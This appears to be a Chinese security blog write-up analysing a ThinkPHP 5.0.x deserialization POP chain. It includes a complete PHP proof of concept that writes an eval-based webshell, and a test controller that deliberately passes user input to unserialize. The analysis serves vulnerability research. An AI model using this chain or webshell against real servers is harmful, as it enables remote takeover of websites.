HacKerQWQ的博客空间

TP5.0.X反序列化漏洞分析

Word count: 1kReading time: 5 min
2021/10/07 Share

漏洞介绍

存在反序列化链子,可实现写shell

漏洞演示

poc.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
<?php
namespace think\process\pipes {
class Windows {
private $files = [];

public function __construct($files)
{
$this->files = [$files]; //$file => /think/Model的子类new Pivot(); Model是抽象类
}
}
}

namespace think {
abstract class Model{
protected $append = [];
protected $error = null;
public $parent;

function __construct($output, $modelRelation)
{
$this->parent = $output; //$this->parent=> think\console\Output;
$this->append = array("xxx"=>"getError"); //调用getError 返回this->error
$this->error = $modelRelation; // $this->error 要为 relation类的子类,并且也是OnetoOne类的子类==>>HasOne
}
}
}

namespace think\model{
use think\Model;
class Pivot extends Model{
function __construct($output, $modelRelation)
{
parent::__construct($output, $modelRelation);
}
}
}

namespace think\model\relation{
class HasOne extends OneToOne {

}
}
namespace think\model\relation {
abstract class OneToOne
{
protected $selfRelation;
protected $bindAttr = [];
protected $query;
function __construct($query)
{
$this->selfRelation = 0;
$this->query = $query; //$query指向Query
$this->bindAttr = ['xxx'];// $value值,作为call函数引用的第二变量
}
}
}

namespace think\db {
class Query {
protected $model;

function __construct($model)
{
$this->model = $model; //$this->model=> think\console\Output;
}
}
}
namespace think\console{
class Output{
private $handle;
protected $styles;
function __construct($handle)
{
$this->styles = ['getAttr'];
$this->handle =$handle; //$handle->think\session\driver\Memcached
}

}
}
namespace think\session\driver {
class Memcached
{
protected $handler;

function __construct($handle)
{
$this->handler = $handle; //$handle->think\cache\driver\File
}
}
}

namespace think\cache\driver {
class File
{
protected $options=null;
protected $tag;

function __construct(){
$this->options=[
'expire' => 3600,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
'data_compress' => false,
];
$this->tag = 'xxx';
}

}
}

namespace {
$Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());
$Output = new think\console\Output($Memcached);
$model = new think\db\Query($Output);
$HasOne = new think\model\relation\HasOne($model);
$window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne));
// echo serialize($window);
// echo base64_encode(serialize($window));
echo urlencode(serialize($window));
}

会在当前目录下生成名为的webshell,密码为ccc,访问即可

image-20211008005730880

漏洞分析

测试环境

php7.4.11

apache2

ThinkPHP5.0.24

在Index.php首页增加如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
namespace app\index\controller;


class Index
{
public function index($input='')
{
echo "Welcome thinkphp 5.0.24";
echo $input;
unserialize($input);
}
}

漏洞代码分析

入口在thinkphp/library/think/process/pipes/Windows.php

1
2
3
4
5
public function __destruct()
{
$this->close();
$this->removeFiles();
}

调用了removeFiles函数

image-20211007234616957

函数中使用了file_exists函数,会触发__toString函数,这里的__toString函数选择Model.php中的

QQ图片20211007235120

__toString转到toJson在转到toArray,然后在toArray函数的以下部分为关键性代码

image-20211007235511903

$modelRelation通过将$relation设置为getError返回think/model/relation/HasOne类,用于后面的getRelationData方法能返回后面利用的Output

image-20211007235738537

然后看getRelationData函数,最终$value的值应该是think/console/Output对象

image-20211008000031577

这里有三个验证条件,首先$this->parent设置为think/console/Output,然后$modelRelationselfRelation设置为false通过第二个验证

image-20211008001624210

然后设置$modelRelationquery为Query类并且设置$this->modelOutput类使得等号成立,最终返回$valuethinkphp/library/think/console/Output.php类对象

image-20211008001801322

然后我们拿到了Output类对象,准备调用它的__call方法,通过下面的getAttr来调用

1
$item[$key] = $value ? $value->getAttr($attr) : null;

image-20211008002138538

这里调用了block方法,经过一系列调用最后调用了$this->handle->write方法

image-20211008002233051

经过搜寻,可以利用thinkphp/library/think/session/driver/Memcached.phpwrite方法,然后接着通过将handler设置为File类从而使用thinkphp/library/think/cache/driver/File.phpset方法

image-20211008002634259

这里的$filename通过getCacheKey函数获取

image-20211008002844672

可以通过修改$this->options['path']参数控制前部分文件名,后面的$name是传入参数的md5值,不是有效字符,然后有mkdir功能,可用于创建可写目录,返回文件名后由于传入的$value变量是true,因此写入的内容是不可利用的,但是后面使用了setTagItem函数可利用

image-20211008003138358

这里的$tag可以自己修改,并且最关键的是$name就是我们前面可以控制前半部分的$filename,可以通过php伪协议写入有效字符

php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php

,然后再调用一次set函数成功写入webshella.php12ac95f1498ce51d2d96a249c09c1998.php

image-20211008005730880

POP链

t01811445c8ddbe04a2

参考链接

https://blog.csdn.net/qq_39495209/article/details/107864262

https://blog.csdn.net/weixin_46236101/article/details/109154096

https://xz.aliyun.com/search?page=2&keyword=thinkphp

CATALOG
  1. 1. 漏洞介绍
  2. 2. 漏洞演示
  3. 3. 漏洞分析
    1. 3.1. 测试环境
    2. 3.2. 漏洞代码分析
    3. 3.3. POP链
  4. 4. 参考链接